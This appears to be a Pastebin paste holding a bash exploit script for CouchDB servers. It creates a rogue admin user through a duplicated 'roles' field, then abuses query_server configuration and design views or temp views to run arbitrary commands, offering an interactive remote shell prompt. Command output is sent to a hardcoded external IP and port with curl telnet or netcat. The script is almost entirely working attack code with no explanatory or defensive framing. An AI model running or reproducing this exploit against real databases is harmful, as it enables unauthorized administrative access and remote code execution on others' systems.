Advertisement
Guest User

Untitled

a guest
Jul 18th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.82 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. if [ $# -ne 1 ]; then
  4. echo "$0 <SERVER_URL>"
  5. exit 1
  6. fi
  7.  
  8. NETCAT_LISTEN="198.27.66.144"
  9. NETCAT_PORT="3422"
  10. USER="couchdb"
  11. PASS="iy6685i"
  12.  
  13. RANDB="god4"
  14. RANDOC="ok"
  15.  
  16. CMD="|timeout 2 curl telnet://$NETCAT_LISTEN:$NETCAT_PORT"
  17. #CMD="|nc $NETCAT_LISTEN $NETCAT_PORT"
  18.  
  19.  
  20.  
  21. V=$(curl -s $1 | jq -r '.version')
  22. echo Version: $V
  23. VERSION=$(echo $V |sed 's/\.//g')
  24.  
  25. curl -X PUT $1/_users/org.couchdb.user:$USER -d '{"type": "user","name": "'$USER'","roles": ["_admin"],"roles": [],"password": "'$PASS'"}' --insecure
  26.  
  27. if [ "$VERSION" -gt "171" ]
  28. then
  29. curl -s -L $1/_membership --user $USER:$PASS --insecure | jq -r '.all_nodes[0]'
  30. node=$(curl -s -L $1/_membership --user $USER:$PASS --insecure | jq -r '.all_nodes[0]')
  31. if [ ! "$node" == "" ]
  32. then
  33. echo NODE: $node
  34. fi
  35. elif [ "$VERSION" -gt "210" ]
  36. then
  37. echo Version not vuln
  38. exit
  39. fi
  40.  
  41.  
  42. #curl -X PUT $1/_node/$node/_config/admins/$USER -d '"'$ADMINPASS'"' --user $USER:$PASS --insecure # create second admin
  43. curl -s -L -X PUT $1/$RANDB --user $USER:$PASS --insecure | jq -r '.reason'
  44. if [ "$VERSION" -lt "171" ]
  45. then
  46. curl -s -L -X PUT $1/$RANDB/$RANDOC -d '{"_id":"967a00dff5e02add41819138abb3284d"}' --user $USER:$PASS --insecure | jq -r '.reason'
  47. fi
  48. while true; do
  49. echo -n "couchdb-shell@$1> "
  50. read INPUT
  51. if [ "$INPUT" == "clear" ]
  52. then
  53. printf "\033c"
  54. elif [ "$INPUT" == "exit" ]
  55. then
  56. exit
  57. else
  58. random=up$(( $RANDOM % 10000 + 40000 ));
  59. if [ "$VERSION" -gt "171" ]
  60. then
  61. echo $INPUT $CMD | xargs -I % curl -s -o /dev/null -X PUT $1/_node/$node/_config/query_servers/$random -d '"%"' --user $USER:$PASS --insecure
  62. curl -s -o /dev/null -X PUT $1/$RANDB/_design/zero -d '{"_id": "_design/zero", "views": {"'$RANDB'": {"map": ""} }, "language": "'$random'"}' --user $USER:$PASS --insecure | timeout 2 nc -l $NETCAT_PORT
  63. curl -s -o /dev/null -X DELETE $1/_node/$node/_config/query_servers/$random --user $USER:$PASS --insecure
  64. elif [ "$VERSION" -lt "211" ]
  65. then
  66. echo $INPUT $CMD | xargs -I % curl -s -o /dev/null -X PUT $1/_config/query_servers/$random -d '"%"' --user $USER:$PASS --insecure
  67. curl -s -o /dev/null -X POST $1/$RANDB/_temp_view?limit=11 -d '{"language":"'$random'","map":""}' --user $USER:$PASS --insecure -H "Content-Type: application/json" | timeout 2 nc -l $NETCAT_PORT
  68. curl -s -o /dev/null -X DELETE $1/_config/query_servers/$random --user $USER:$PASS --insecure
  69. fi
  70. fi
  71. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement